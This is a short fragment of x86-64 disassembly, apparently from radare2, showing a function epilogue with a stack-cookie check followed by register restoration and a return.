mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.0006e940
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret